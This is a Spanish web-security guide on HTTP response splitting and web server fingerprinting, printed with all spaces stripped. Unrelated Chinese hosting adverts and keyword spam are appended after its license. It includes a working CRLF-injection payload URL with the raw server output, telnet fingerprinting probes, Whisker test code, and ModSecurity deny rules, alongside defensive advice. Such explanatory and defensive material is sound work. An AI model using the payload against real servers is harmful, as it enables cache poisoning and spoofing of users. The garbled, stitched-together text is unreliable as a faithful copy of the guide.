Sinembargo,alcontrarioqueenXSS,tieneunefectoduraderoporqueelrecursosuplantadopermaneceenlacachédelnavegador.
EjemploConsiderelasiguientepáginaJSP(asumaqueseencuentraen/redir_lang.
jsp):Cuandoseinvoca/redir_lang.
jspconunparámetrolang=Englishleredireccionaráaby_lang.
jsplang=English.
Unarespuestatípicasemuestraacontinuación(elservidorwebesBEAWebLogic8.
1SP1–verapartado"EntornodeLaboratorio"en[1]parainformacióndetalladasobreesteservidor):HTTP/1.
1302MovedTemporarilyDate:Wed,24Dec200312:53:28GMTLocation:http://10.
1.
1.
1/by_lang.
jsplang=EnglishServer:WebLogicXMLXModule8.
1SP1FriJun2023:06:40PDT2003271009withContent-Type:text/htmlSet-Cookie:JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXjApqwBE!
-1251019693;path=/Connection:Close302MovedTemporarilyThisdocumentyourequestedhasmovedtemporarily.
It'snowathttp://10.
1.
1.
1/by_lang.
jsplang=English.
Comosepuedever,elparámetrolangesembebidoenlacabeceraLocationdelarespuesta.
Ahora,seguimosmontandounataquededivisiónderespuestaHTTP.
EnlugardeenviarelvalorEnglish,envaimosunvalorquehaceusodesecuenciasCRLFcodificadasenlaURLparaterminarlarespuestaencurso,yformarunaadicional.
Acontinuaciónsemuestracomosellevaestoacabo:/redir_lang.
jsplang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.
1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0aShazamEstocausaelsiguienteflujodesalida,enviadoporelservidorwebsobrelaconexiónTCP:HTTP/1.
1302MovedTemporarilyDate:Wed,24Dec200315:26:41GMTLocation:http://10.
1.
1.
1/by_lang.
jsplang=foobarContent-Length:0HTTP/1.
1200OKContent-Type:text/htmlContent-Length:19ShazamServer:WebLogicXMLXModule8.
1SP1FriJun2023:06:40PDT2003271009withContent-Type:text/htmlSet-Cookie:JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST9UsS!
-1251019693;path=/[.
.
.
]Aclaración:esteflujoTCPseráanalizadoporelobjetivocomosigue:UnaprimerarespuestaHTTP,queesunarespuesta302(redirección).
Estarespuestaestácoloreadadeazul.
UnasegundarespuestaHTTP,queesunarepuesta200,conuncontenidode19bytesdeHTML.
Estarespuestaestácoloreadaderojo.
Datossuperfluos–todoloqueseencuentramásalládelfinaldelasegundarespuestaessuperfluoynocumpleelestándarHTTP.
Cuandoelatacantealimentaelobjetivocondospeticiones,laprimeraformalaURL/redir_lang.
jsplang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.
1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0aShazamYlasegundalaURL/index.
htmlElobjetivocreeríaquelaprimerapeticiónesemparejadaconlaprimerarespuesta:HTTP/1.
1302MovedTemporarilyDate:Wed,24Dec200315:26:41GMTLocation:http://10.
1.
1.
1/by_lang.
jsplang=foobarContent-Length:0Ylasegundapetición(a/index.
html)esemparejadaconlasegundarespuesta:HTTP/1.
1200OKContent-Type:text/htmlContent-Length:19ShazamYporesto,elatacantelograengaaralobjetivo.
Ahora,esteejemploparticularesbastanteingenuo,comoesexplicadoen[1].
NotieneencuentaalgunosproblemascomolaformaenlaquelosobjetivosanalizanelflujoTCP,consideracionessobrelosdatossuperfluos,problemasconlainyeccióndedatosycomoforzarcaching.
Esto,ymás,sediscuteen[1],bajolosapartados"consideracionesprácticas".
SoluciónValidarlasentradas.
EliminarloscaracteresCRyLF(ytodoslosotroscaracteresarriesgados)antesdefijardatosencualquieradelascabecerasderespuestaHTTP,particularmentecuandoseasignancookiesyenredirecciones.
EsposibleutilizarproductosdetercerosparaprotegersecontralainyecciónCR/LF,yparaprobarlaexistenciadetalesagujerosdeseguridadantesderealizareldesplieguedelaaplicación.
Otrasrecomendacionesson:AsegurarsedequeseestáutilizandoelmotormásactualizadodelaaplicaciónAsegurarsedequelaaplicaciónesaccedidaatravésdeunaúnicadirecciónIP(esdecir,lamismadireccióinIPnoestásiendousadaparaotrouso,comoocurreconhostingvirtual)Referencias[1]"DivideandConquer–HTTPResponseSplitting,WebCachePoisoningAttacks,andRelatedTopics"byAmitKlein,http://www.
sanctuminc.
com/pdf/whitepaper_httpresponse.
pdf[2]"CRLFInjection"byUlfHarnhammar(BugTraqposting),http://www.
securityfocus.
com/archive/1/271515Identificacióndelservidor/aplicaciónwebLaidentificacióndelservidor/aplicaciónwebessimilarasupredecesor,laidentificaciónTCP/IP(conelescánerfavoritohoyendía–Nmap)exceptoenqueestáfocalizadaenlacapadeaplicacióndelmodeloOSIenlugardelacapadetransporte.
Lateoríatraslaidentificacióndeservidor/aplicaciónwebescrearunperfilexactodelsoftwareobjetivo,configuracionesyposiblementeinclusosuarquitectura/topologíaderedanalizandolosiguiente:DiferenciasdeimplementacióndelprotocoloHTTPCabecerasderespuestaHTTPExtensionesdeficheros(.
aspcontra.
jsp)Cookies(ASPSESSION)Páginasdeerror(páginaspordefecto)Estructurasdedirectorioyconvencionesdenombres(Windows/Unix)Interfacesdedesarrolloweb(Frontpage/WebPublisher)Interfacesdeadministraciónweb(iPlanet/Comanche)Desajustesenlaidentificacióndesistemaoperativo(IISenLinux)Laoperaciónnormaldelosatacantesesidentificarlapresenciadelawebobjetivoyenumerarcuantainformaciónseaposible.
Conestainformación,elatacantepuededesarrollarunescenarioexactodelataque,quepuedeexplotareficazmenteunavulnerabilidadparaeltipo/versióndesoftwarequeestásiendoutilizadoporlamáquinaobjetivo.
Identificarexactamenteestainformaciónpararealizarposiblesataquesesdevitalimportanciayaquemuchasvulnerabilidadesdeseguridad(comodesbordamientosdebúffer,etc.
)sonextremadamentedependientesdeunsoftwareynúmerodeversiónespecíficos.
Deformaadicional,identificarcorrectamentelasversionesdesoftwareyseleccionarlosexploitsadecuadosreduceel"ruido"totaldelataquemientrasincrementasuefectividad.
Esporestarazónqueunservidor/aplicaciónwebqueseidentificaasímismodeformaobvia,estáinvitandolallegadadeproblemas.
Dehecho,elHTTPRFC2068discuteexactamenteestacuestióneimpulsaalosadministradoreswebatomarmedidasparaocultarlaversióndesoftwarequeestásiendomostradaporlacabecera"Server"delarespuesta:"Nota:Larevelacióndelaversiónespecíficadesoftwaredelservidorpermitequeelservidorseamásvulnerableaataquescontraelsoftwaredelqueseconocequecontieneagujerosdeseguridad.
Seanimaalosadministradoresdelservidoracrearestecampocomounaopciónconfigurable.
"Debidoalhechodequeesposiblededucireltipoyversióndelservidor/aplicaciónwebqueestásiendoutilizadoporelobjetivomediantelacorrelacióndelainformaciónrecopiladaporotrascategoríasdeRevelacióndeInformación,nosenfocaremossóloenelanálisisdelaimplementacióndelprotocoloHTTPqueutilizanlasherramientasdeidentificaciónwebhoyendía.
Ejemplos:TodoslosejemplosmostradosacontinuacióndemuestranlastécnicasdeanálisisdelacomposicióneinterpretacióndelaspeticionesHTTPporlosservidoreswebobjetivo.
DiferenciasdeimplementacióndelprotocoloHTTPLéxico–Lacategoríadecaracterísticasléxicasabarcavariacionesenlaspalabras/frasesusadasactualmente,asícomolacapitalizaciónypuntuaciónmostradaporlascabecerasderespuestaHTTP.
Mensajedecódigoderespuesta–Enelcódigodeerror404,Apacheinforma"NotFound"mientrasqueMicrosoftIIS/5.
0informa"ObjectNotFound".
Apache1.
3.
29-404Microsoft-IIS/4.
0-404#telnettarget1.
com80Tryingtarget1.
com.
.
.
Connectedtotarget1.
com.
Escapecharacteris'^]'.
HEAD/non-existent-file.
txtHTTP/1.
0HTTP/1.
1404NotFoundDate:Mon,07Jun200414:31:03GMTServer:Apache/1.
3.
29(Unix)mod_perl/1.
29Connection:closeContent-Type:text/html;charset=iso-8859-1Connectionclosedbyforeignhost.
#telnettarget2.
com80Tryingtarget2.
com.
.
.
Connectedtotarget2.
com.
Escapecharacteris'^]'.
HEAD/non-existent-file.
txtHTTP/1.
0HTTP/1.
1404ObjectNotFoundServer:Microsoft-IIS/4.
0Date:Mon,07Jun200414:41:22GMTContent-Length:461Content-Type:text/htmlConnectionclosedbyforeignhost.
Expresióndecabeceras–Lacabecera"Content-Length"esdevueltaenlugarde"Content-length".
Netscape-Enterprise/6.
0–HEADMicrosoft-IIS/4.
0-HEAD#telnettarget1.
com80Tryingtarget1.
com.
.
.
Connectedtotarget1.
com.
Escapecharacteris'^]'.
HEAD/HTTP/1.
0HTTP/1.
1200OKServer:Netscape-Enterprise/6.
0Date:Mon,07Jun200414:55:25GMTContent-length:26248Content-type:text/htmlAccept-ranges:bytesConnectionclosedbyforeignhost.
#telnettarget2.
com80Tryingtarget2.
com.
.
.
Connectedtotarget2.
com.
Escapecharacteris'^]'.
HEAD/HTTP/1.
0HTTP/1.
1404ObjectNotFoundServer:Microsoft-IIS/4.
0Date:Mon,07Jun200415:22:54GMTContent-Length:461Content-Type:text/htmlConnectionclosedbyforeignhost.
Sintáctico–PorelRFCHTTP,todaslascomunicacioneswebrequierentenerunaestructuraycomposiciónpredefinidademodoqueambaspartespuedenentenderacadaotra.
TodavíaexistenvariacionesenlaordenacióndelascabecerasderespuestaHTTP.
Ordenacióndecabeceras–LosservidoresApachecoherentementecolocanlacabecera"Date"antesquelacabecera"Server",mientrasqueMicrosoft-IIStieneestascabecerasenordeninverso.
Apache1.
3.
29–HEADMicrosoft-IIS/4.
0-HEAD#telnettarget1.
com80Tryingtarget1.
com.
.
.
Connectedtotarget1.
com.
Escapecharacteris'^]'.
HEAD/HTTP/1.
0HTTP/1.
1200OKDate:Mon,07Jun200415:21:24GMTServer:Apache/1.
3.
29(Unix)mod_perl/1.
29Content-Location:index.
html.
enVary:negotiate,accept-language,accept-charsetTCN:choiceLast-Modified:Fri,04May200100:00:38GMTETag:"4de14-5b0-3af1f126;40a4ed5d"Accept-Ranges:bytesContent-Length:1456Connection:closeContent-Type:text/htmlContent-Language:enExpires:Mon,07Jun200415:21:24GMTConnectionclosedbyforeignhost.
#telnettarget2.
com80Tryingtarget2.
com.
.
.
Connectedtotarget2.
com.
Escapecharacteris'^]'.
HEAD/HTTP/1.
0HTTP/1.
1404ObjectNotFoundServer:Microsoft-IIS/4.
0Date:Mon,07Jun200415:22:54GMTContent-Length:461Content-Type:text/htmlConnectionclosedbyforeignhost.
Ordenacióndelistas–CuandounmétodoOPTIONSesenviadoenunapeticiónHTTP,unalistademétodospermitidosparalaURIdadasondevueltosenunacabecera"Allow".
Apachesólodevuelvelacabecera"Allow",mientrasqueIIStambiénincluyeunacabecera"Public".
Apache1.
3.
29–OPTIONSMicrosoft-IIS/5.
0-OPTIONS#telnettarget1.
com80Tryingtarget1.
com.
.
.
Connectedtotarget1.
com.
Escapecharacteris'^]'.
OPTIONS*HTTP/1.
0HTTP/1.
1200OKDate:Mon,07Jun200416:21:58GMTServer:Apache/1.
3.
29(Unix)mod_perl/1.
29Content-Length:0Allow:GET,HEAD,OPTIONS,TRACEConnection:closeConnectionclosedbyforeignhost.
#telnettarget2.
com80Tryingtarget2.
com.
.
.
Connectedtotarget2.
com.
Escapecharacteris'^]'.
OPTIONS*HTTP/1.
0HTTP/1.
1200OKServer:Microsoft-IIS/5.
0Date:Mon,7Jun200412:21:38GMTContent-Length:0Accept-Ranges:bytesDASL:DAV:1,2Public:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCHAllow:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCHCache-Control:privateConnectionclosedbyforeignhost.
Semántico–AdemásdelaspalabrasyfrasesquesondevueltasenlarespuestaHTTP,haydiferenciasobviasencomolosservidoreswebinterpretantantolaspeticionesgramaticalmentecorrectascomolasanormales/noconformes.
Presenciadecabecerasespecíficas–Unservidortieneunaseleccióndecabecerasparaincluirenlarespuesta.
Mientrasalgunascabecerassonrequeridasporlaespecificación,lamayoríadecabeceras(porejemplo,ETag)sonopcionales.
Enlosejemplossiguientes,lascabecerasderespuestadelosservidoresApacheincluyenentradasadicionalescomo:ETag,VaryyExpiresmientrasqueestonoocurreconelservidorIIS.
Apache1.
3.
29–HEADMicrosoft-IIS/4.
0-HEAD#telnettarget1.
com80Tryingtarget1.
com.
.
.
Connectedtotarget1.
com.
Escapecharacteris'^]'.
HEAD/HTTP/1.
0HTTP/1.
1200OKDate:Mon,07Jun200415:21:24GMTServer:Apache/1.
3.
29(Unix)mod_perl/1.
29Content-Location:index.
html.
enVary:negotiate,accept-language,accept-charsetTCN:choiceLast-Modified:Fri,04May200100:00:38GMTETag:"4de14-5b0-3af1f126;40a4ed5d"Accept-Ranges:bytesContent-Length:1456Connection:closeContent-Type:text/htmlContent-Language:enExpires:Mon,07Jun200415:21:24GMTConnectionclosedbyforeignhost.
#telnettarget2.
com80Tryingtarget2.
com.
.
.
Connectedtotarget2.
com.
Escapecharacteris'^]'.
HEAD/HTTP/1.
0HTTP/1.
1404ObjectNotFoundServer:Microsoft-IIS/4.
0Date:Mon,07Jun200415:22:54GMTContent-Length:461Content-Type:text/htmlConnectionclosedbyforeignhost.
Códigosderespuestaparapeticionesanormales–Inclusoaunquelasmismaspeticionesseanhechascontralosservidoreswebobjetivos,esposiblequelainterpretacióndelaspeticionesseandiferentesy,porlotanto,segenerendistintoscódigosderespuesta.
Unejemploperfectodediferenciasemánticaenlainterpretacióneseltestdela"identificaciónligera"queutilizaelescánerWhisker.
LaseccióndecódigoPerlmostradamásabajo,tomadadelficheromain.
testdeWhisker2.
1,ejecutadospruebasparadeterminarsielservidorwebobjetivoesdehechounservidorApache,independientementedeloqueinformelacabecera"Server".
Laprimerapeticiónesun"GET//"ysielcódigodeestadoHTTPes200,entonceslasiguientepeticiónesenviada.
Lasegundapeticiónes"GET/%2f",conlaURIcodificada–ytraducidapor"GET//".
EnestaocasiónApachedevuelveuncódigo404–códigodeerrorNotFound.
Otrosservidoresweb–IIS–noretornanlosmismoscódigosdeestadoparaestaspeticiones.
#nowdosomelightfingerprinting.
.
.
--CUTmy$Aflag=0;$req{whisker}->{uri}='//';if(!
_do_request(\%req,\%G_RESP)){_d_response(\%G_RESP);if($G_RESP{whisker}->{code}==200){$req{whisker}->{uri}='/%2f';if(!
_do_request(\%req,\%G_RESP)){_d_response(\%G_RESP);$Aflag++if($G_RESP{whisker}->{code}==404);m_re_banner('Apache',$Aflag);DespuésdeejecutarWhiskercontraelsitiowebobjetivo,seinforma,apartirdelaspruebasprevias,queelservidorwebpuedeserdehechounservidorApache.
AcontinuaciónsemuestraelejemplodelaseccióndeinformedeWhisker:Title:ServerbannerId:100Severity:InformationalTheserverreturnedthefollowingbanner:Microsoft-IIS/4.
0Title:AlternateservertypeId:103Severity:InformationalTestinghasidentifiedtheservermightbean'Apache'server.
ThisChangecouldbeduetotheservernotcorrectlyidentifyingitself(theAdminschangedthebanner).
Testswillnowcheckforthisservertypeaswellasthepreviouslyidentifiedservertypes.
Nosólotieneencuentaelatacanteestaalarmadequelosadministradoresdelservidorwebsonlosuficientementeinteligentescomoparamodificarlainformacióndeidentificacióndelacabecera"Server",peroWhiskertambiénaadiráentodaslaspruebasdeApachesuexploraciónloqueincrementarásuexactitud.
SolucionesNoesposibleeliminarcadainformacióndeidentificaciónproporcionadaporsuservidorweb.
Elhechoesqueundeterminadoataqueserácapazdeidentificarsusoftwaredeservidorweb.
Suobjetivodebeserelevarellistóndereconocimientoaunaalturaqueprovoquealatacantearealizarpruebaslosuficientemente"sonoras"comoparaquegenerenunaalertadeseguridad.
Lospasoscomentadosacontinuaciónayudaránenestatarea.
Lassolucionessonlistadasenorden,demásfacilamáscomplejadeimplementar.
Modificarlacadenadeidentificacióndelacabecera"Server"Esposibleeditary/omodificar(conobjetivosdeengaar)lainformaciónmostradaenlacabecera"Server"delarespuestadeunservidorweb.
Hubomuchodebateenloscírculosdelaseguridadwebsobrecuantaprotecciónpuedeserganadaporelcambiodelainformaciónenlacabecera"Server".
Mientraslasolaalteracióndelacadenadeidentificación,ynotomandootrasmedidasparaocultarlaversióndesoftware,probablementenoproporcionamuchaprotecciónfrentealagentequesededicadeformaactivaallevaracaboidentificaciones,estorealmenteayudarespectoalbloqueodeprogramasgusanoautomatizados.
Debidoalincrementoenpopularidaddelusodegusanosparalainfecciónmasivadesistemas,estemétododeprotegersusservidoreswebseconvierteenvital.
Estepasoseguramentepermitiríaganaralasempresasalgúntiempodurantelafasedeparcheadocuandonuevosgusanossonlanzadosyestossonconfiguradosparaatacarsistemasbasadosenlacadenadeidentificacióndelarespuestadelservidor.
ServidoresApache–ModSecuritytieneladirectivaSecServerSignature,quepermitealadministradorwebponerlainformacióndelacadenadeidentificacióndesdeelficherohttpd.
confenlugardeeditarelcódigofuentedeApachedeformapreviaasucompilación.
ServidoresIIS–InstalandolasherramientasIISLockDownyURLScan,puedeactualizarlainformacióndeidentificacióndevuletaalosclientes.
MinimizarlaverbosidaddelainformaciónenlascabecerasRestringirlacantidaddeinformacióndevueltaenlascabecerasderespuesta.
Porejemplo,Apachepermitealadministradorcontrolarlaverbosidaddelacadenadeidentificación,editandoladirectivaServerTokens:ServerTokensProd[uctOnly]Elservidorenvía(porejemplo):Server:ApacheServerTokensMin[imal]Elservidorenvía(porejemplo):Server:Apache/1.
3.
0ServerTokensOSElservidorenvía(porejemplo):Apache/1.
3.
0(Unix)ServerTokensFull(ornotspecified)Elservidorenvía(porejemplo):Server:Apache/1.
3.
0(Unix)PHP/3.
0MyMod/1.
2Minimizandolascabeceras,puedeocultarinformaciónadicionalcomolosmódulosdeapachequeseencuentraninstalados.
ImplementarcabecerasfalsasUnatécnicaalternativaparadesistir/confundirlaidentificacióndelservidorwebesmostrarunatopologíawebfalsa.
Losatacantesnormalmenteincluyensesionesdecapturadecadenasdeidentificacióncomopartedelprocesoglobaldeidentificación.
Durantelaidentificación,elatacantetratadeconocerlaarquitecturadelaempresaobjetivo.
Aadiendocabecerasfalsasadicionales,simulamosuncomplejoentornoweb(esdecir,unaDMZ).
Aadiendocabecerasadicionalesparasimularlaexistenciadeunproxyinverso,podemoscrearla"apariencia"deunaarquitecturacompleja.
ParaservidoresApache,podemosaadirlasiguienteentradaenelficherohttpd.
confparaconseguirestafunción:HeadersetVia"1.
1squid.
proxy.
companyx.
com(Squid/2.
4.
STABLE6)"ErrorHeadersetVia"1.
1squid.
proxy.
companyx.
com(Squid/2.
4.
STABLE6)"HeadersetX-Cache"MISSfromwww.
nonexistenthost.
com"ErrorHeadersetX-Cache"MISSfromwww.
nonexistenthost.
com"Estasentradasaaden"Via"y"X-Cache"alascabecerasderespuestaHTTPparatodaslasrespuestas,comosemuestraacontinuación:#telnetlocalhost80Trying127.
0.
0.
1.
.
.
Connectedtolocalhost.
Escapecharacteris'^]'.
HEAD/HTTP/1.
0HTTP/1.
1200OKServer:Microsoft-IIS/4.
0Date:Sun,30Mar200321:59:46GMTContent-Location:index.
html.
enVary:negotiate,accept-language,accept-charsetTCN:choiceVia:1.
1squid.
proxy.
companyx.
com(Squid/2.
4.
STABLE6)X-Cache:MISSfromwww.
nonexistenthost.
comContent-Length:2673Connection:closeEstoprovocalailusióndequeusamosunservidorproxySquidypresentamosdatosdewebdeunservidorinexistente.
EstopodríaatraeralatacantealanzarexploitsparaSquidcontranuestroservidorApache,quedesdeluegoseríanunfracaso,oatacarlamáquinaespecificadaenlacabecera"X-Cache"queenrealidadnoexiste.
InstalarherramientasdeseguridadwebdetercerosInstalandoaplicacionesoherramientasadicionalesdeseguridadweb,comoModSecurityoServerMask,esposibleinterrumpiroengaarlasaplicacionesdeidentificacióndeservidoreswebdehoyendía,comoHTTPrint.
Comosedescribeenlosapartadosdeejemplosiguientes,estasherramientasprobaránservidoreswebobjetivoconmuchaspeticionesdistintasparaintentareiniciarunarespuestaespecífica.
AcontinuaciónsemuestranalgunasdelaspeticionesanormalesqueHTTPrintenvíaalservidorweb:192.
168.
139.
101--[08/Jun/2004:11:21:40-0400]"JUNKMETHOD/HTTP/1.
0"501344"-""-"192.
168.
139.
101--[08/Jun/2004:11:21:40-0400]"GET/JUNK/1.
0"400381"-""-"192.
168.
139.
101--[08/Jun/2004:11:21:40-0400]"get/HTTP/1.
0"501330"-""-"192.
168.
139.
101--[08/Jun/2004:11:21:40-0400]"GET/HTTP/0.
8"2001456"-""-"192.
168.
139.
101--[08/Jun/2004:11:21:40-0400]"GET/HTTP/1.
2"2001456"-""-"192.
168.
139.
101--[08/Jun/2004:11:21:40-0400]"GET/HTTP/3.
0"2001456"-""-"192.
168.
139.
101--[08/Jun/2004:11:21:40-0400]"GET/.
.
/.
.
/HTTP/1.
0"400344"-""-"SiponemosenprácticaunaherramientacomoModSecurityparaservidoresApache,podemoscrearfiltrosquecumplanelRFCHTTP,queprovocaránsobreestospeticionesanormales.
AcontinuaciónsemuestranentradasModSecurityalficherohttpd.
confquepuedenserusadas:#Thiswillreturna403-ForbiddenStatusCodeforallMod_SecurityactionsSecFilterDefaultAction"deny,log,status:403"#ThiswilldenydirectorytraversalsSecFilter"\.
\.
/"#Thisentryforcescomplianceoftherequestmethod.
AnyrequeststhatdoNOT#startwitheitherGET|HEAD|POSTwillbedenied.
Thiswillcatch/triggeron#junkmethods.
SecFilterSelectiveTHE_REQUEST"!
^(GET|HEAD|POST)"#ThisentrywillforceHTTPcompliancetotheendportionoftherequest.
If#therequestdoesNOTendwithavalidHTTPversion,thenitwillbedenied.
SecFilterSelectiveTHE_REQUEST"!
HTTP\/(0\.
9|1\.
0|1\.
1)$"EdicióndecódigofuenteEstaeslatareadecontramedidamáscomplejaparalaidentificación,peroporotrolado,eslamásefectiva.
Elriesgocontralarecompensaparaestatareapuedevariarenormementedependiendodesuniveldeconocimientodeprogramaciónosuarquitecturaweb.
Generalizando,estalaborincluyelaedicióndecódigofuentedelservidorwebdeformapreviaalacompilaciónoconelactualcódigobinarioutilizandouneditorbinario.
ParaservidoreswebdecódigoabiertocomoApache,estatareaesmuchomásfácilyaquesetieneaccesoalcódigo.
Ordenacióndecabeceras–AcontinuaciónsemuestraelparchedecódigofuenteparaelservidorApache1.
3.
29quecorregiráelordendelascabecerasDATE/SERVERytambiénimitarálosdatosdesalidadelmétodoOPTIONSdeIIS.
Esteparcheactualizaelficherohttp_protocol.
cfileeneldirectorio/apache_1.
3.
29/src/main.
LasecciónOPTIONSdevolverácabecerasqueseencuentranasociadasnormalmentearespuestasdeIIS.
EstoincluyelascabecerasPublic,DASL,DAVyCache-Control.
---http_protocol.
c.
origMonApr2602:11:582004+++http_protocol.
cMonApr2602:43:312004@@-1597,9+1597,6@@/*outputtheHTTP/1.
xStatus-Line*/ap_rvputs(r,protocol,"",r->status_line,CRLF,NULL);-/*outputthedateheader*/-ap_send_header_field(r,"Date",ap_gm_timestr_822(r->pool,r->request_time));-/*keeptheset-by-proxyserverheader,otherwise*generateanewserverheader*/if(r->proxyreq){@@-1612,6+1609,9@@ap_send_header_field(r,"Server",ap_get_server_version());}+/*outputthedateheader*/+ap_send_header_field(r,"Date",ap_gm_timestr_822(r->pool,r->request_time));+/*unsetsowedon'tsendthemagain*/ap_table_unset(r->headers_out,"Date"Avoidbogosity*/ap_table_unset(r->headers_out,"Server");@@-1716,7+1716,9@@ap_basic_http_header(r);ap_table_setn(r->headers_out,"Content-Length","0");+ap_table_setn(r->headers_out,"Public","OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH");ap_table_setn(r->headers_out,"Allow",make_allow(r));+ap_table_setn(r->headers_out,"Cache-Control","private");ap_set_keepalive(r);ap_table_do((int(*)(void*,constchar*,constchar*))ap_send_header_field,Referencias"AnIntroductiontoHTTPfingerprinting"http://net-square.
com/httprint/httprint_paper.
html"HypertextTransferProtocol--HTTP/1.
1"http://www.
cis.
ohio-state.
edu/cgi-bin/rfc/rfc2068.
html#sec-14.
39"HMAP:ATechniqueandToolforRemoteIdentificationofHTTPServers"http://seclab.
cs.
ucdavis.
edu/papers/hmap-thesis.
pdf"IdentifyingWebServers:Afirst-lookintoWebServerFingerprinting"http://www.
blackhat.
com/presentations/bh-asia-02/bh-asia-02-grossman.
pdf"MaskYourWebServerforEnhancedSecurity"http://www.
port80software.
com/support/articles/maskyourwebserver"WebIntrusionDetectionandPrevention"http://www.
modsecurity.
org"IISLockDownTool2.
1"http://www.
microsoft.
com/downloads/details.
aspxFamilyID=DDE9EFC0-BB30-47EB-9A61-FD755D23CDEC&displaylang=en"URLScanTool"http://www.
microsoft.
com/downloads/details.
aspxFamilyID=f4c5a724-cafa-4e88-8c37-c9d5abed1863&DisplayLang=en"ServerMaskTool"http://www.
port80software.
com/products/servermask/LicenciaEstetrabajoseencuentrabajolalicenciaCreativeCommonsAttributionLicense.
Paraverunacopiadeestalicencia,visitehttp://creativecommons.
org/licenses/by/2.
5/oenvíeunacartaaCreativeCommons,559NathanAbbottWay,Stanford,California94305,USA.

金山云:618年中促销,企业云服务器2核4G仅401.28元/年,827.64元/3年

金山云618年中促销活动正在进行中!金山云针对企业级新用户优惠力度比普通个人用户优惠力度要大,所以我们也是推荐企业新用户身份购买金山云企业级云服务器,尽量购买3年配置的,而不是限时秒杀活动中1年的机型。企业级用户购买金山云服务器推荐企业专区:云服务器N3 2核4G云服务器,1-5M带宽,827.64元/3年,性价比高,性能稳定!点击进入:金山云618年中促销活动目前,金山云基础型E1云服务器2核4...

gcorelabs:CDN业务节点分布100多个国家地区,免费版提供1T/月流量

卢森堡商家gcorelabs是个全球数据中心集大成的运营者,不但提供超过32个数据中心的VPS、13个数据中心的cloud(云服务器)、超过44个数据中心的独立服务器,还提供超过100个数据中心节点的CDN业务。CDN的总带宽容量超过50Tbps,支持免费测试! Gcorelabs根据业务分,有2套后台,分别是: CDN、流媒体平台、DDoS高防业务、块存储、cloud云服务器、裸金属服务器...

日本CN2独立物理服务器 E3 1230 16G 20M 500元/月 提速啦

提速啦的来历提速啦是 网站 本着“良心 便宜 稳定”的初衷 为小白用户避免被坑 由赣州王成璟网络科技有限公司旗下赣州提速啦网络科技有限公司运营 投资1000万人民币 在美国Cera 香港CTG 香港Cera 国内 杭州 宿迁 浙江 赣州 南昌 大连 辽宁 扬州 等地区建立数据中心 正规持有IDC ISP CDN 云牌照 公司。公司购买产品支持3天内退款 超过3天步退款政策。提速啦的市场定位提速啦主...

phpadmin下载为你推荐
uctools新浪UC下载地址magentomagento是免费的吗?flashfxp下载求最新无需注册的FlashFXP下载地址资费标准中国电信套餐资费一览表2021加多宝和王老吉王老吉和加多宝的关系?电子商务世界美国电子商务的发展经历几个阶段3g手机有哪些3G手机???oa办公软件价格一般中小企业用的OA办公系统需要多少钱?网站制作套餐做一个网站要多少钱discuz伪静态Discuz! X3.0 到底能不能伪静态?门户怎么伪静态?
网站域名备案查询 汉邦高科域名申请 512av godaddy续费优惠码 美国仿牌空间 gg广告 免费网站申请 中国电信测速112 vip购优汇 gspeed softbank邮箱 isp服务商 网游服务器 什么是web服务器 德隆中文网 购买空间 黑科云 带宽测速 comodo 中国域名根服务器 更多